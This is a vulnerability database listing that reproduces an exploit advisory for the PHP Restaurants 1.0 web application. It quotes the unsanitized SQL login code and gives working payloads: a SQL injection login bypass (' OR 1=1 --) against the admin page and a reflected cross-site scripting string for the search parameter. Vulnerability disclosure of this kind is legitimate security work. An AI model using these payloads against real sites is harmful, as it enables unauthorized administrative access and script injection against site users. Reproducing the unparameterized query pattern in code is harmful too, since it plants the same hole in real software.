Lucene search
K

PHP Restaurants 1.0 SQL Injection / Cross Site Scripting

🗓️ 26 Apr 2023 00:00:00Reported by Or4nG.M4NType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 294 Views

PHP Restaurants 1.0 SQL Injection/Cross Site Scripting, Authentication Bypass, XSS Payloa

Code
`# Exploit Title: PHP Restaurants 1.0 - SQLi Authentication Bypass & Cross  
Site Scripting  
# Google Dork: None  
# Date: 4/26/2023  
# Exploit Author: Or4nG.M4n  
# Vendor Homepage: https://github.com/jcwebhole  
# Software Link: https://github.com/jcwebhole/php_restaurants  
# Version: 1.0  
  
  
functions.php  
  
function login(){  
global $conn;  
$email = $_POST['email'];  
$pw = $_POST['password'];  
  
$sql = "SELECT * FROM `users` WHERE `email` = '".$email."' AND `password` =  
'".md5($pw)."'"; <-- there is No filter to secure sql query  
parm[email][password]  
$result = $conn->query($sql);  
if ($result->num_rows > 0) {  
while($row = $result->fetch_assoc()) {  
setcookie('uid', $row['id'], time() + (86400 * 30), "/"); // 86400 = 1 day  
header('location: index.php');  
}  
} else {  
header('location: login.php?m=Wrong Password');  
}  
  
}  
  
login bypass at admin page /rest1/admin/login.php  
  
email & password : ' OR 1=1 -- <- add [space] end of the payload  
  
cross site scripting main page /index.php  
  
xhttp.open("GET", "functions.php?f=getRestaurants<?php  
if(isset($_GET['search'])) echo '&search='.$_GET['search']; <-- here we  
can insert our xss payload  
?>  
", true);  
xhttp.send();  
  
</script> <-- when you insert your'e payload don't forget to add </script>  
like  
  
xss payload : </script><img onerror=alert(1) src=a>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Apr 2023 00:00Current
6.8Medium risk
Vulners AI Score6.8
294